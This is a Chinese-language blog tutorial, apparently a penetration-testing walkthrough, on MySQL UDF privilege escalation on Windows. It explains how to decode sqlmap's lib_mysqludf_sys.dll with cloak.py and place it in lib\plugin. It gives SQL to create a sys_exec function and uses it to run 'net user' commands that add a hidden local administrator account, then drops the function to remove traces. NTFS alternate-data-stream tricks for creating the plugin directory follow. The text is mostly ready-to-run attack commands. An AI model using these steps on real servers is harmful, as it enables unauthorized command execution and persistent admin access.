mysql提权之udf提权


提权的前提

  1. mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
  2. mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
  3. 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。拥有可以将udf.dll写入相应目录的权限。
  4. 版本大于5.1的udf.dll放到mysql安装目录的lib\plugin文件夹才能创建自定义函数。目录默认是不存在的需要自己创建,在安装目录下创建lib\plugin文件夹,然后将udf.dll导出到这个目录。


    1.jpg
  5. udf.dll在sqlmap里可以找到,sqlmap/udf/mysql/windows下边有32和64两种,这里的位数是mysql的位数,并不是对方系统的位数
  6. sqlmap里的udf.dll是经过编码的,需要先解码,解码的工具就在sqlmap/extra/cloak/cloak.py


    2.jpg
  7. 解码完了,在sqlmap\udf\mysql\windows,32和64文件夹下会生成dll文件
  8. 将dll文件复制到mysql的/lib/plugin目录下
  9. 执行sql语句
create function cmdshell returns string soname "lib_mysqludf_sys.dll";
  1. 出现一个错误


    3.jpg
  2. 需要创建udf中存在的函数才可以,可以用十六进制编辑器打开udf.dll,看一下有哪些函数可以创建


    4.jpg
  3. 就是这些了,我们可以使用sys_exec函数
create function sys_exec returns string soname "lib_mysqludf_sys.dll";
5.jpg
  1. 可以正常执行命令了,添加用户
select sys_exec('net user waitalone waitalone.cn /add');
6.jpg
select sys_exec('net localgroup administrators waitalone /add');
7.jpg
  1. 查看是否添加成功


    8.jpg
  2. 到此就完成了,下边删除使用的函数
drop function sys_exec;
9.jpg
delete from mysql.func where name='sys_exec'
10.jpg
  1. 还有一种创建plugin文件夹的方式(我没成功过,有缘的小伙伴可能会成功)
select @@basedir;   
//查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';   
//利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';
//利用NTFS ADS创建plugin目录

  1. 执行成功以后再进行导出即可

你可能感兴趣的:(mysql提权之udf提权)